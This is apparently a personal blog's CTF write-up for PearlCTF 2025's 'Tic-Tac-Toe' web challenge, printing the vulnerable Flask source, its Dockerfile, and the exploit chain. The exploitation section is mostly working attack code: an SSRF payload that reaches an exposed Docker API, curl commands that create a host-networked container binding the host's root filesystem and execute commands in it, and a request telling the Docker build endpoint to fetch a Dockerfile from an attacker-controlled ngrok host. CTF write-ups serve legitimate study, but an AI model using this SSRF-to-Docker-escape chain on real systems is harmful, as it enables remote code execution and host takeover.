rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF-: PearlCTF 2025


image



TIC-TAC-TOE


image



Source Code-> Analysis for SSRF


from flask import Flask, render_template, request, jsonify
import requests, json
import url
import subprocess
import logging

app = Flask(__name__)
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

def wrap_response(resp):
    try:
        parsed = json.loads(resp)
    except json.JSONDecodeError:
        parsed = resp

    return {"body": parsed}

@app.route("/")
def home():
    return render_template("index.html")

@app.route("/deploy")
def deploy():
    container_inspect = subprocess.run(["docker", "inspect", "game"], stdout=subprocess.PIPE)
    resp = json.loads(container_inspect.stdout)
    
    if len(resp) > 0:
        return jsonify({"status": 1})
    
    docker_cmd = ["docker", "run", "--rm", "-d", "-p", "8000:8000", "--name", "game", "b3gul4/tic-tac-toe"]
    subprocess.run(docker_cmd)
    
    return jsonify({"status": 0})

@app.route("/")
def game():
    return render_template("index.html")

@app.post("/")
def play():
    game = url.get_game_url(request.json)
    
    if game["error"]:
        return jsonify({"body": {"error": game["error"]}})
    
    try:
        if game["action"] == "post":
            resp = requests.post(game["url"], json=request.json)
            if resp.status_code < 200 or resp.status_code >= 300:
                logger.debug(resp.text)
                return jsonify({"body": {"error": "there was some error in game server"}})
        else:
            resp = requests.get(game["url"])
            if resp.status_code < 200 or resp.status_code >= 300:
                logger.debug(resp.text)
                return jsonify({"body": {"error": "there was some error in game server"}})
            
    except Exception as e:
        return jsonify({"body": {"error": "game server down"}})
        
    return jsonify(wrap_response(resp.text))

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
import os

URL = "http://<domain>:<port>/<game_action>"

def is_valid_state(state):
    if len(state) != 9:
        return False
    
    for s in state:
        if s not in ["X", "O", "_"]:
            return False
    
    return True

def get_game_url(req_json):
    try:
        api = req_json["api"]
        keys = list(api.keys())
        
        url = URL.replace("<domain>", os.getenv("GAME_API_DOMAIN"))
        url = url.replace("<port>", os.getenv("GAME_API_PORT"))
        # The game api is going to have many more endpoints in future, I do not want to hardcode the action
        url = url.replace(keys[0], api[keys[0]])
        
        if not is_valid_state(req_json["state"]):
            return {"url": None, "action": None, "error": "Invalid state"}
        
        return {"url": url, "action": req_json["action"], "error": None}
    
    except Exception as e:
        print(e)
        return {"url": None, "action": None, "error": "Internal server error"}
import os

URL = "http://<domain>:<port>/<game_action>"

def is_valid_state(state):
    if len(state) != 9:
        return False
    
    for s in state:
        if s not in ["X", "O", "_"]:
            return False
    
    return True

def get_game_url(req_json):
    try:
        api = req_json["api"]
        keys = list(api.keys())
        
        url = URL.replace("<domain>", os.getenv("GAME_API_DOMAIN"))
        url = url.replace("<port>", os.getenv("GAME_API_PORT"))
        # The game api is going to have many more endpoints in future, I do not want to hardcode the action
        url = url.replace(keys[0], api[keys[0]])
        
        if not is_valid_state(req_json["state"]):
            return {"url": None, "action": None, "error": "Invalid state"}
        
        return {"url": url, "action": req_json["action"], "error": None}
    
    except Exception as e:
        print(e)
        return {"url": None, "action": None, "error": "Internal server error"}
{"api":{"http://localhost:8000/<game_action>":"http://localhost:2375/container/json"},"state":["X","X","X","X","X","X","X","X","X"],"action":"get"}
try:
        if game["action"] == "post":
            resp = requests.post(game["url"], json=request.json)
            if resp.status_code < 200 or resp.status_code >= 300:
                logger.debug(resp.text)
                return jsonify({"body": {"error": "there was some error in game server"}})
        else:
            resp = requests.get(game["url"])
            if resp.status_code < 200 or resp.status_code >= 300:
                logger.debug(resp.text)
                return jsonify({"body": {"error": "there was some error in game server"}})
            
    except Exception as e:
        return jsonify({"body": {"error": "game server down"}})
        
    return jsonify(wrap_response(resp.text))

Dockerfile Analysis for DOCKER ESCAPE to RCE


FROM python:3.9-alpine

RUN apk add --no-cache docker-cli 

WORKDIR /app

COPY requirements.txt .

RUN pip install -r requirements.txt

COPY ./templates ./templates
COPY app.py .
COPY url.py .
COPY flag.txt /flag/

ENV DOCKER_HOST="tcp://localhost:2375"
ENV GAME_API_DOMAIN="localhost"
ENV GAME_API_PORT="8000"

CMD ["gunicorn", "--bind", "0.0.0.0:80", "app:app", "--capture-output", "--log-level", "debug"]

Exploitation-:


RUN apk add --no-cache curl jq

RUN curl -X POST -H "Content-Type: application/json" -d '{"image": "alpine","Tty":true,"OpenStdin":true,"AutoRemove":true,"HostConfig":{"NetworkMode":"host","Binds":["/:/flag"]}}' http://localhost:2375/containers/create?name=shell
RUN curl -X POST http://localhost:2375/containers/shell/start
RUN exec_id=$(curl -s -X POST -H "Content-Type: application/json" -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":["mkdir", "/mnt/tmp/pwned"]}' http://localhost:2375/containers/shell/exec | jq -r .Id) && curl -X POST "http://localhost:2375/exec/$exec_id/start" -H "Content-Type: application/json" -d '{"Detach": false, "Tty": false}'

image

❯ curl https://tic-tac-toe-8f5a953dc460f141.ctf.pearlctf.in/ -H "Content-Type: application/json" -d '{"api":{"http://localhost:8000/<game_action>":"http://localhost:2375/build?remote=http://4.tcp.eu.ngrok.io:12053/Dockerfile&networkmode=host"},"state":["X","X","X","X","X","X","X","X","X"],"action":"post"}'
{"body":""}

image

image

image

image


THANKS FOR READING


REFERENCES-: